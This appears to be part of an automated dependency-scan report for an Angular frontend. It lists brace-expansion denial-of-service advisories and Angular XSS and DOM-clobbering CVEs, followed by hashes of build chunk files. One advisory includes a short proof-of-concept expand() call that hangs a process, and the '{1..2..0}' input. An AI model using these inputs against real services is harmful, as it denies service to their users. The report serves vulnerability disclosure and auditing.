  • cpe:2.3:a:*:brace-expansion:\>\=2.0.0\<2.1.4:*:*:*:*:*:*:*

GHSA-f886-m6hf-6m8v (NPM)  

### Impact

A brace pattern with a zero step value (e.g., `{1..2..0}`) causes the sequence generation loop to run indefinitely, making the process hang for seconds and allocate heaps of memory.

The loop in question:

https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184

`test()` is one of

https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113

The increment is computed as `Math.abs(0) = 0`, so the loop variable never advances. On a test machine, the process hangs for about 3.5 seconds and allocates roughly 1.9 GB of memory before throwing a `RangeError`. Setting max to any value has no effect because the limit is only checked at the output combination step, not during sequence generation.

This affects any application that passes untrusted strings to expand(), or by error sets a step value of `0`. That includes tools built on minimatch/glob that resolve patterns from CLI arguments or config files. The input needed is just 10 bytes.

### Patches


Upgrade to versions
- 5.0.5+

A step increment of 0 is now sanitized to 1, which matches bash behavior.

### Workarounds

Sanitize strings passed to `expand()` to ensure a step value of `0` is not used.
CWE-400 Uncontrolled Resource Consumption

CVSSv3:
  • Base Score: MEDIUM (6.5)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Unscored:
  • Severity: moderate

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:brace-expansion:\>\=2.0.0\<2.0.3:*:*:*:*:*:*:*

GHSA-3jxr-9vmj-r5cp (NPM)  

### Summary
brace-expansion's expand() exhibits exponential-time - O(2ⁿ) - behavior in the number of consecutive non-expanding {} groups. A short, all-ASCII input (~90 bytes/30 groups) blocks the calling thread for minutes; a slightly longer input hangs it effectively indefinitely. Because the dominant consumers run on Node's single-threaded event loop, one small input can fully stall a worker/process.

In `expand_`, `post` is computed unconditionally at the top of the function, before the early-return branches that don't use it:
```js
const post = m.post.length ? expand_(m.post, max, false) : [''];   // always recurses
  ...
if (!isSequence && !isOptions) {
  if (m.post.match(/,(?!,).*\}/)) {
    str = m.pre + '{' + m.body + escClose + m.post;
    return expand_(str, max, true); // restart — `post` discarded
  }
  return [str];
}
```

For input like a{},{},…, the first {} is non-expanding, so control reaches the {a},b} rewrite branch - but `expand_` has already recursed into post over the entire remaining tail, only to throw the result away.
Each level therefore spawns two recursive expansions over essentially the same remaining work: `T(n) = 2·T(n−1) ⇒ O(2ⁿ)`.

The max option does not mitigate this: max only bounds the output-building loops; neither the post recursion nor the rewrite recursion consults it.
  
Measured on 5.0.6:

| groups (n) | input bytes | time |
|---|---|---|
| 20 | 60 | 130 ms |
| 24 | 72 | 1.9 s |
| 26 | 78 | 7.8 s |
| 30 (PoC) | 90 | ~2 min |

### Proof of concept
```js
const { expand } = require('brace-expansion');
// 30 non-expanding groups, ~90 bytes — blocks for minutes:
expand('a{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{},{}');
```

### Impact

Any application that passes attacker-influenced strings to brace-expansion.expand() - directly or transitively via minimatch/glob brace patterns - can be driven into a multi-minute-to-indefinite CPU hang by a tiny request, denying service on that thread/process.

### Remediation

Upgrade to a patched release. The fix:
1. Defers computing post until after the early-return branches (and computes it locally in the $-suffix branch), so post is only expanded when a brace set actually expands and the value is used. This alone removes the exponential.
1. Converts the {a},b} rewrite from recursion to an in-function loop, so a long run of rewrites cannot grow the call stack.

Verified: the PoC drops from ~2 min to 0.55 ms, 5,000 groups complete in ~344 ms, and output is identical to 5.0.6 across a behavioral-equivalence suite (sequences, padding, $-prefix, a{},b}c, {},a}b, x{{a,b}}y, etc.). Post-fix complexity is ~O(n²) on this input class - acceptable for the security fix; a linear rewrite can be a non-urgent follow-up.

If immediate upgrade isn't possible, avoid passing untrusted input to expand() / glob brace patterns, or run such expansion under a timeout/worker.
CWE-400 Uncontrolled Resource Consumption, CWE-407 Inefficient Algorithmic Complexity

CVSSv3:
  • Base Score: MEDIUM (5.300000190734863)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Unscored:
  • Severity: high

References:

Vulnerable Software & Versions (NPM):

  • cpe:2.3:a:*:brace-expansion:\>\=2.0.0\<2.1.2:*:*:*:*:*:*:*

chunk-22DMWHJU.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-22DMWHJU.js
MD5: 53c1dba0e1ad35499f3b211cb12bc3a5
SHA1: 64bffd8b60502a0dcbda491b2cc73abd7ab81bcb
SHA256:631d6a094d422cc1d936c560d6a3dc19fcf71da66db148322eec6f40bb477c96

Identifiers

  • None

chunk-257WTING.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-257WTING.js
MD5: 7e8b650ba8067bf834e4dabf08756649
SHA1: d4c434a7e4c328b1d1a9fbed56adbd37f12c2f00
SHA256:44dc6d5b585d62e4aa7fefb4be56b7ce90c9b95b12dde7a997f93e563bc52df1

Identifiers

  • None

chunk-2V3MZXIU.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-2V3MZXIU.js
MD5: 5b80a92aaeed9ce8bc949c9e68eea0f4
SHA1: 95241b81d8a944095de718bef1144843f91abe15
SHA256:1c01c5aa99881e04a54a23bbe17b1b8fc20ff8f92a373c71d0d753d9a2d91fe6

Identifiers

  • None

chunk-3BSHJ67V.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-3BSHJ67V.js
MD5: 974c3704ecf6794706926e0238b4cbc5
SHA1: 7138a5dd2e73c87ebcabae04b946242907c42d21
SHA256:cbfe9f3f1906b0e184b01fd138eb81470fda524ba8d32342667f3969f786b094

Identifiers

  • None

chunk-4AAQWOII.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-4AAQWOII.js
MD5: 5bfc9bc2b603fc4558fdf0bec0b10b7b
SHA1: ce8ec12765208f4b4247c21d1e1be77720d8cca4
SHA256:a4129ccd131b592c3c1c1341b500d01e1502a4f918d0aadbeef3bfefe97f79a4

Identifiers

  • None

chunk-4EPMPMVV.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-4EPMPMVV.js
MD5: 051dcbe20e2318ad218ccd21bf9305c1
SHA1: 6d9b1bcc9a9a09b41bf7bee90229f73f50174800
SHA256:e86bee56b0ed7ecbeb39b74aa73bc385bdca8eddbd5f6d048bf020f584e012dd

Identifiers

  • None

chunk-4HCIODQW.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-4HCIODQW.js
MD5: e61723e9914ffe517465519bdd5751e9
SHA1: e34dd33ade7e6ffddf223aed98a50802881ef1e2
SHA256:b1c26d77f07090e299642b9094af0b941476488bb844041fb65f60d60ea614bf

Identifiers

  • None

chunk-4HGMDUUJ.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-4HGMDUUJ.js
MD5: 81111a3e199a0c67931c726d0b48079b
SHA1: 36020261b86cfaeabbb21871991171e32c9f90bd
SHA256:9d13e23f1691fb0338cc4ea1dcd9fa20426e116f55695ace85f5c8970acb12be

Identifiers

  • None

chunk-5JAV7XL2.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-5JAV7XL2.js
MD5: d3535b77939340a9c2bfdfc6cd38a2c3
SHA1: 82aabff7e7da656d6a10070b5ac54cf5dc9ec0e4
SHA256:dbb710be4b0cc6336e7f738d3e7d586ab453165cd5aa59d07b557779744cd2ce

Identifiers

  • pkg:javascript/%40angular%2Fcore@18.2.14  (Confidence:Highest)

CVE-2026-32635  

Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 22.0.0-next.3, 21.2.4, 20.3.18, and 19.2.20, a Cross-Site Scripting (XSS) vulnerability has been identified in the Angular runtime and compiler. It occurs when the application uses a security-sensitive attribute (for example href on an anchor tag) together with Angular's ability to internationalize attributes. Enabling internationalization for the sensitive attribute by adding i18n-<attribute> name bypasses Angular's built-in sanitization mechanism, which when combined with a data binding to untrusted user-generated data can allow an attacker to inject a malicious script. This vulnerability is fixed in 22.0.0-next.3, 21.2.4, 20.3.18, and 19.2.20.
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

CVSSv4:
  • Base Score: HIGH (8.6)
  • Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:N/V:X/RE:X/U:X
CVSSv3:
  • Base Score: CRITICAL (9.0)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H/E:2.3/RC:R/MAV:A

References:

Vulnerable Software & Versions (NVD):

  • cpe:2.3:a:angular:angular_cli:*:*:*:*:*:*:*:* versions from (including) 17.0.0; versions up to (excluding) 19.2.0
  • cpe:2.3:a:angular:angular_cli:*:*:*:*:*:*:*:* versions from (including) 20.0.0; versions up to (including) 20.3.18
  • cpe:2.3:a:angular:angular_cli:*:*:*:*:*:*:*:* versions from (including) 21.0.0; versions up to (excluding) 21.2.4
  • cpe:2.3:a:angular:angular_cli:22.0.0:next0:*:*:*:*:*:*
  • cpe:2.3:a:angular:angular_cli:22.0.0:next1:*:*:*:*:*:*

CVE-2026-54267  

Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 22.0.1, 21.2.17, and 20.3.25, to optimize client-side bootstrap in Server-Side Rendered (SSR) environments, Angular supports Hydration via provideClientHydration(). During SSR, Angular serializes the application's runtime state (such as cached HttpClient responses) and outputs it into the HTML stream as a <script> tag with a predictable identifier. During client bootstrap, Angular recovers this state by looking up the element via document.getElementById('ng-state') and parsing its text content. Because the DOM element lookup for the state container is predictable and relies solely on the ID selector (ng-state), it is susceptible to DOM Clobbering. If the application binds untrusted user input or CMS content to element properties such as id (e.g., <div [id]="userInput"> or <a id="ng-state">) before the genuine <script> tag is parsed by the browser, the attacker-controlled element takes precedence in the DOM lookup. During hydration, when Angular calls document.getElementById('ng-state'), the browser returns the attacker's clobbered element. Angular then attempts to parse the text content or attributes of this clobbered element as JSON. This vulnerability is fixed in 22.0.1, 21.2.17, and 20.3.25.
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), CWE-471 Modification of Assumed-Immutable Data (MAID)

CVSSv4:
  • Base Score: HIGH (8.6)
  • Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:N/V:X/RE:X/U:X
CVSSv3:
  • Base Score: MEDIUM (6.1)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N/E:2.8/RC:R/MAV:A

References:

Vulnerable Software & Versions (NVD):

  • cpe:2.3:a:angular:angular:*:*:*:*:*:node.js:*:* versions up to (including) 19.2.25
  • cpe:2.3:a:angular:angular:*:*:*:*:*:node.js:*:* versions from (including) 20.0.0; versions up to (excluding) 20.3.25
  • cpe:2.3:a:angular:angular:*:*:*:*:*:node.js:*:* versions from (including) 21.0.0; versions up to (excluding) 21.2.17
  • cpe:2.3:a:angular:angular:*:*:*:*:*:node.js:*:* versions from (including) 22.0.0; versions up to (excluding) 22.0.1

CVE-2026-27970  

Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Versions prior to 21.2.0, 21.1.16, 20.3.17, and 19.2.19 have a cross-Site scripting vulnerability in the Angular internationalization (i18n) pipeline. In ICU messages (International Components for Unicode), HTML from translated content was not properly sanitized and could execute arbitrary JavaScript. Angular i18n typically involves three steps, extracting all messages from an application in the source language, sending the messages to be translated, and then merging their translations back into the final source code. Translations are frequently handled by contracts with specific partner companies, and involve sending the source messages to a separate contractor before receiving final translations for display to the end user. If the returned translations have malicious content, it could be rendered into the application and execute arbitrary JavaScript. When successfully exploited, this vulnerability allows for execution of attacker controlled JavaScript in the application origin. Depending on the nature of the application being exploited this could lead to credential exfiltration and/or page vandalism. Several preconditions apply to the attack. The attacker must compromise the translation file (xliff, xtb, etc.). Unlike most XSS vulnerabilities, this issue is not exploitable by arbitrary users. An attacker must first compromise an application's translation file before they can escalate privileges into the Angular application client. The victim application must use Angular i18n, use one or more ICU messages, render an ICU message, and not defend against XSS via a safe content security policy. Versions 21.2.0, 21.1.6, 20.3.17, and 19.2.19 patch the issue. Until the patch is applied, developers should consider reviewing and verifying translated content received from untrusted third parties before incorporating it in an Angular application, enabling strict CSP controls to block unauthorized JavaScript from executing on the page, and enabling Trusted Types to enforce proper HTML sanitization.
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

CVSSv4:
  • Base Score: HIGH (7.6)
  • Vector: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:N/V:X/RE:X/U:X
CVSSv3:
  • Base Score: MEDIUM (6.1)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N/E:2.8/RC:R/MAV:A

References:

Vulnerable Software & Versions (NVD):

  • cpe:2.3:a:angular:angular:*:*:*:*:*:node.js:*:* versions up to (excluding) 19.2.19
  • cpe:2.3:a:angular:angular:*:*:*:*:*:node.js:*:* versions from (including) 20.0.0; versions up to (excluding) 20.3.17
  • cpe:2.3:a:angular:angular:*:*:*:*:*:node.js:*:* versions from (including) 21.0.0; versions up to (excluding) 21.1.6
  • cpe:2.3:a:angular:angular:21.2.0:next0:*:*:*:node.js:*:*
  • cpe:2.3:a:angular:angular:21.2.0:next1:*:*:*:node.js:*:*
  • cpe:2.3:a:angular:angular:21.2.0:next2:*:*:*:node.js:*:*
  • cpe:2.3:a:angular:angular:21.2.0:next3:*:*:*:node.js:*:*
  • cpe:2.3:a:angular:angular:21.2.0:rc0:*:*:*:node.js:*:*

CVE-2026-50557  

Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 22.0.0-rc.2, 21.2.15, 20.3.22 and 19.2.22, an issue in the @angular/compiler and @angular/core packages allows bypassing element and attribute sanitization/validation through specific namespace workarounds. Specifically, namespaced script elements (e.g., <svg:script> or <:svg:script>) were not properly identified as script elements by the Angular template preparser, allowing them to pass through template compilation without being stripped. Furthermore, security context schema mappings for element attributes did not consistently handle attributes within namespaced elements (like SVG and MathML), opening up gaps where malicious namespaced attributes could bypass runtime and compile-time sanitizers. Combined, these flaws enable an attacker who can inject or supply a template/tag structure with custom namespaces to bypass Angular's script-stripping logic and attribute sanitizers, leading to client-side Cross-Site Scripting (XSS). This vulnerability is fixed in 22.0.0-rc.2, 21.2.15, 20.3.22 and 19.2.22.
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

CVSSv4:
  • Base Score: MEDIUM (5.3)
  • Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:N/V:X/RE:X/U:X
CVSSv3:
  • Base Score: MEDIUM (6.1)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N/E:2.8/RC:R/MAV:A

References:

Vulnerable Software & Versions (NVD):

  • cpe:2.3:a:angular:angular:*:*:*:*:*:node.js:*:* versions up to (including) 18.2.14
  • cpe:2.3:a:angular:angular:*:*:*:*:*:node.js:*:* versions from (including) 19.0.0; versions up to (excluding) 19.2.22
  • cpe:2.3:a:angular:angular:*:*:*:*:*:node.js:*:* versions from (including) 20.0.0; versions up to (excluding) 20.3.22
  • cpe:2.3:a:angular:angular:*:*:*:*:*:node.js:*:* versions from (including) 21.0.0; versions up to (excluding) 21.2.15
  • cpe:2.3:a:angular:angular:22.0.0:next0:*:*:*:node.js:*:*
  • cpe:2.3:a:angular:angular:22.0.0:next1:*:*:*:node.js:*:*
  • cpe:2.3:a:angular:angular:22.0.0:next10:*:*:*:node.js:*:*
  • cpe:2.3:a:angular:angular:22.0.0:next11:*:*:*:node.js:*:*
  • cpe:2.3:a:angular:angular:22.0.0:next12:*:*:*:node.js:*:*
  • cpe:2.3:a:angular:angular:22.0.0:next2:*:*:*:node.js:*:*
  • cpe:2.3:a:angular:angular:22.0.0:next3:*:*:*:node.js:*:*
  • cpe:2.3:a:angular:angular:22.0.0:next4:*:*:*:node.js:*:*
  • cpe:2.3:a:angular:angular:22.0.0:next5:*:*:*:node.js:*:*
  • cpe:2.3:a:angular:angular:22.0.0:next6:*:*:*:node.js:*:*
  • cpe:2.3:a:angular:angular:22.0.0:next7:*:*:*:node.js:*:*
  • cpe:2.3:a:angular:angular:22.0.0:next8:*:*:*:node.js:*:*
  • cpe:2.3:a:angular:angular:22.0.0:next9:*:*:*:node.js:*:*
  • cpe:2.3:a:angular:angular:22.0.0:rc0:*:*:*:node.js:*:*
  • cpe:2.3:a:angular:angular:22.0.0:rc1:*:*:*:node.js:*:*

CVE-2026-52725  

Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 22.0.0-rc.2, 21.2.15, 20.3.22, and 19.2.23, an issue in the @angular/core package allows bypassing script-execution restrictions during dynamic component creation. Specifically, the dynamic component instantiation mechanism (createComponent) failed to reject mounting components directly onto a <script> or namespaced script element (such as <svg:script>). This enabled the initialization of custom components on a tag that executes scripts, allowing attackers to hijack or inject script-executing hosts. This flaw enables an attacker who can control the host element or selector parameter passed to createComponent to initialize or mount an Angular component directly onto a <script> tag, leading to execution of untrusted code or client-side Cross-Site Scripting (XSS). This vulnerability is fixed in 22.0.0-rc.2, 21.2.15, 20.3.22, and 19.2.23.
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

CVSSv4:
  • Base Score: MEDIUM (5.3)
  • Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:N/V:X/RE:X/U:X
CVSSv3:
  • Base Score: MEDIUM (6.1)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N/E:2.8/RC:R/MAV:A

References:

Vulnerable Software & Versions (NVD):

  • cpe:2.3:a:angular:angular:*:*:*:*:*:node.js:*:* versions up to (including) 18.2.14
  • cpe:2.3:a:angular:angular:*:*:*:*:*:node.js:*:* versions from (including) 19.0.0; versions up to (excluding) 19.2.23
  • cpe:2.3:a:angular:angular:*:*:*:*:*:node.js:*:* versions from (including) 20.0.0; versions up to (excluding) 20.3.22
  • cpe:2.3:a:angular:angular:*:*:*:*:*:node.js:*:* versions from (including) 21.0.0; versions up to (excluding) 21.2.15
  • cpe:2.3:a:angular:angular:22.0.0:next0:*:*:*:node.js:*:*
  • cpe:2.3:a:angular:angular:22.0.0:next1:*:*:*:node.js:*:*
  • cpe:2.3:a:angular:angular:22.0.0:next10:*:*:*:node.js:*:*
  • cpe:2.3:a:angular:angular:22.0.0:next11:*:*:*:node.js:*:*
  • cpe:2.3:a:angular:angular:22.0.0:next12:*:*:*:node.js:*:*
  • cpe:2.3:a:angular:angular:22.0.0:next2:*:*:*:node.js:*:*
  • cpe:2.3:a:angular:angular:22.0.0:next3:*:*:*:node.js:*:*
  • cpe:2.3:a:angular:angular:22.0.0:next4:*:*:*:node.js:*:*
  • cpe:2.3:a:angular:angular:22.0.0:next5:*:*:*:node.js:*:*
  • cpe:2.3:a:angular:angular:22.0.0:next6:*:*:*:node.js:*:*
  • cpe:2.3:a:angular:angular:22.0.0:next7:*:*:*:node.js:*:*
  • cpe:2.3:a:angular:angular:22.0.0:next8:*:*:*:node.js:*:*
  • cpe:2.3:a:angular:angular:22.0.0:next9:*:*:*:node.js:*:*
  • cpe:2.3:a:angular:angular:22.0.0:rc0:*:*:*:node.js:*:*
  • cpe:2.3:a:angular:angular:22.0.0:rc1:*:*:*:node.js:*:*

chunk-7KPQ2DXU.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-7KPQ2DXU.js
MD5: 51e5399ec74779cee16df23133f8c142
SHA1: 5a2303aeaf49021713c9749678bd92626dd97e41
SHA256:bfbcde6190f1114088f0cbb2145931de9391d959cf2f2fdf5e956311e2cea4e3

Identifiers

  • None

chunk-AJBOQ75S.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-AJBOQ75S.js
MD5: e19224b64933cdfd07551b6becb76f33
SHA1: 1f215036f75f484c220abec56837504a7e5bbfdf
SHA256:658d31d8844f3ce35d5e0c2a3b1d890a9093b11f81ba6516db1155d464346a48

Identifiers

  • None

chunk-AP5MTEER.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-AP5MTEER.js
MD5: b41688ea52dc54047610d5b4f4d10c73
SHA1: 1c8052a90e1523f3d4970baf7d7c5c4283b9135c
SHA256:3a623fb25895bb70d3c77601581a41da30055b872fa1fc568ad22b633e782431

Identifiers

  • None

chunk-B2GWLCYN.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-B2GWLCYN.js
MD5: 669e2516a1a4653fa982f23f269106d9
SHA1: 73150dd2c6841c21cb668abfff4958becac6f9c9
SHA256:c414eb57af1a00b98fed1d272406e33aaf48dc0f69fa191ca6484a68b6aeb4b7

Identifiers

  • None

chunk-BG6VN43N.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-BG6VN43N.js
MD5: 9d1f2542dee7be988e6a7c53540ba996
SHA1: 6b5b6a858402168858261e59e37b5c5456ad81d5
SHA256:d69fef67a7b52b0ffac01331ef77e5a05866776d51cd1e279b87a102d55c53b6

Identifiers

  • None

chunk-BQ5Q5WHY.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-BQ5Q5WHY.js
MD5: 0bd9272b766358319b3ac9c7fd09eede
SHA1: bfbb047b2894a9b7bae4af5d469ebc70186115cc
SHA256:cf806d183e69f1ec6e840f455d6fc1206bfe042484ed70fd38ec61ff8d287134

Identifiers

  • None

chunk-CDXM5JBR.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-CDXM5JBR.js
MD5: fe49953eb8e2552e6ae5621e75cddc4c
SHA1: 5cca4c33994f5b1ba42661f2053528bbac974f89
SHA256:d7fe8230f19aa7137ae6a130a9ca50151ae5b6f998cd3cc2d86015838ebcf58f

Identifiers

  • None

chunk-DP4F5TQA.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-DP4F5TQA.js
MD5: 9204c168d2dd7f3887c241ce540df6fd
SHA1: e160caa379daba2fd8dc649bd275a5438d7370e8
SHA256:498da39df825ce7de8ee3d16ed7ea119fe1fd7dc1af3882b37c056f79fd6e705

Identifiers

  • None

chunk-E2U6DIW7.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-E2U6DIW7.js
MD5: a7a0b77008b596daef1532e333bf87a4
SHA1: 824a716dfb47ee4fdc5fe25163b41ac47deb05c8
SHA256:d695f8d1b8e2a8018eb91fb8e480d992e89ead94e5e7babf7bf212e2ece72532

Identifiers

  • None

chunk-EGWSR27L.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-EGWSR27L.js
MD5: 9253b2a9b667f3fb975ef053e3ae5f6b
SHA1: 4e646b41621bfe2ad95b3d80d5ebb71c8b668453
SHA256:bbc8e5c657e9b39cb7f3d9bbb261e1422a8b3c3e08ab8f6750522c8b2249de33

Identifiers

  • None

chunk-EHSDV65V.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-EHSDV65V.js
MD5: 97528c0b5b43c8f31876bfac9005cb48
SHA1: e21285a690857e2a006737395f44bbba82246e24
SHA256:da9810bdf7ce707f8b070b34b3be7ecab252ac97ed64fe0c5afc75b59466bb29

Identifiers

  • None

chunk-FBF4U62R.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-FBF4U62R.js
MD5: fd9628b28de73f5f7bc15de8fc6307a4
SHA1: da79ae640783e488e77f472b590d371b3a59a9b9
SHA256:1f47ad05972dfeb89c65da06075c4c6f5a168cde6bc63fc40a9782c56135b13a

Identifiers

  • None

chunk-I46VRRDT.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-I46VRRDT.js
MD5: 2d2d068c2b1759cb2b6ce0dea3a186c4
SHA1: 1984efbbbb65c61a9ea1c5d383e21ff06dfd33d7
SHA256:b82a54b9ccc44a086e531df437ca67339253f11dda6feae26e3aace96284047b

Identifiers

  • None

chunk-IMSASWVY.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-IMSASWVY.js
MD5: c591cbdfe2918e51d5a4c611b797dd78
SHA1: fece25790bf20a7b0a9601492c19a31a2b2ba46c
SHA256:14a47ce547321807818d0be180eac03d4e41c2ad22a1e18e4cedadcab1147a93

Identifiers

  • None

chunk-IQ5EZLZZ.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-IQ5EZLZZ.js
MD5: 6942bc78af6ec635242a53ff9ecc7131
SHA1: 115b7912c0f2812e61e37476e70e4186e6d7c4a5
SHA256:3f5465d25f32c10c239e3d713e4e3c00d29508782e78a9b050923f717511ab56

Identifiers

  • None

chunk-JHCPQQEH.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-JHCPQQEH.js
MD5: 1c3abd710868a5185c36560d1ec66e26
SHA1: f788f843e9ec1b16e2d6a1d68f560eb0179f74f7
SHA256:cb321894bff98192774ce50734af2c0cdaaa853bf92945314d2cfc0313a88112

Identifiers

  • None

chunk-JTCJRRTZ.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-JTCJRRTZ.js
MD5: 5bad1fba1aa8ce7b6ae87e38826568a8
SHA1: 07bf5931428853035aa2b94db59bf69972e0c865
SHA256:df86b5b146d63adc8a5b4884bd6863ac10f581a90b04ed1c24d2a8951d841b35

Identifiers

  • None

chunk-KLY4GGYL.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-KLY4GGYL.js
MD5: 68d7597e77e9403728fe70d98f02e212
SHA1: 4320ef8bc63f8769f4913b067548f970b588cd51
SHA256:574e7b2824caeea63f2369286b96b16a57d89ecb1ca1b69381aec6a85fbd929a

Identifiers

  • None

chunk-L7CQ6D5S.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-L7CQ6D5S.js
MD5: c8edeeaa02ea25f90fd0872c5f15385d
SHA1: de4edf4cbd0cb15f69b3c66bce4bfc40c0ccb726
SHA256:fe6c7ca72ef325a609f3826974af068c37d774d7e99fc4e576b375e7b6a65212

Identifiers

  • None

chunk-LIPVPPG2.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-LIPVPPG2.js
MD5: 005b538b97c0a5dc7efa2c1f9f2cd669
SHA1: c85cf37683adfb534764c8eb4a8524d6b5d85a75
SHA256:10b4ac8b828998ed7a94823a70676da34ac35dd566a5a6b2dd5501c5604ad728

Identifiers

  • None

chunk-LZHLFEKT.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-LZHLFEKT.js
MD5: e29883fe84fd2fcf429af0c560067f65
SHA1: 9512ee24e6bcb2f6322a027e6b83e79f3d4b704c
SHA256:8761dc64830dcb0dec55a588b0af66a3ae4fa34ea77c2c7c82e18901e68094e3

Identifiers

  • None

chunk-MLV6OKF7.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-MLV6OKF7.js
MD5: acd09edef83d3a6d64d6244b5ddff307
SHA1: 7cff463c4469af08b5822a00b704cbaeabc2551f
SHA256:aa1e015366f5c18ad6e58daa348156add9a77b9a7ea0cd26ef41c27008af059f

Identifiers

  • None

chunk-MM75KSXS.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-MM75KSXS.js
MD5: 88a923eb70930ff6f559d61da5a7b1c7
SHA1: 98a1101a9998866c947aaf751493b124618b1a29
SHA256:3e11b8037e42257323f1b93fcb0a649cdd4f73062b96ad55f9dea4d144e7feea

Identifiers

  • None

chunk-MMHCKGY2.js

File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-MMHCKGY2.js
MD5: 8b5fe35417d7c0646a96d1bf7569bce6
SHA1: 346e4da967aaffbdf8f271c6aaa274534f5107fa
SHA256:c3995309e2db9854f47a106f22e23cde159f90a6287bf9ca8f4943bcd729a752

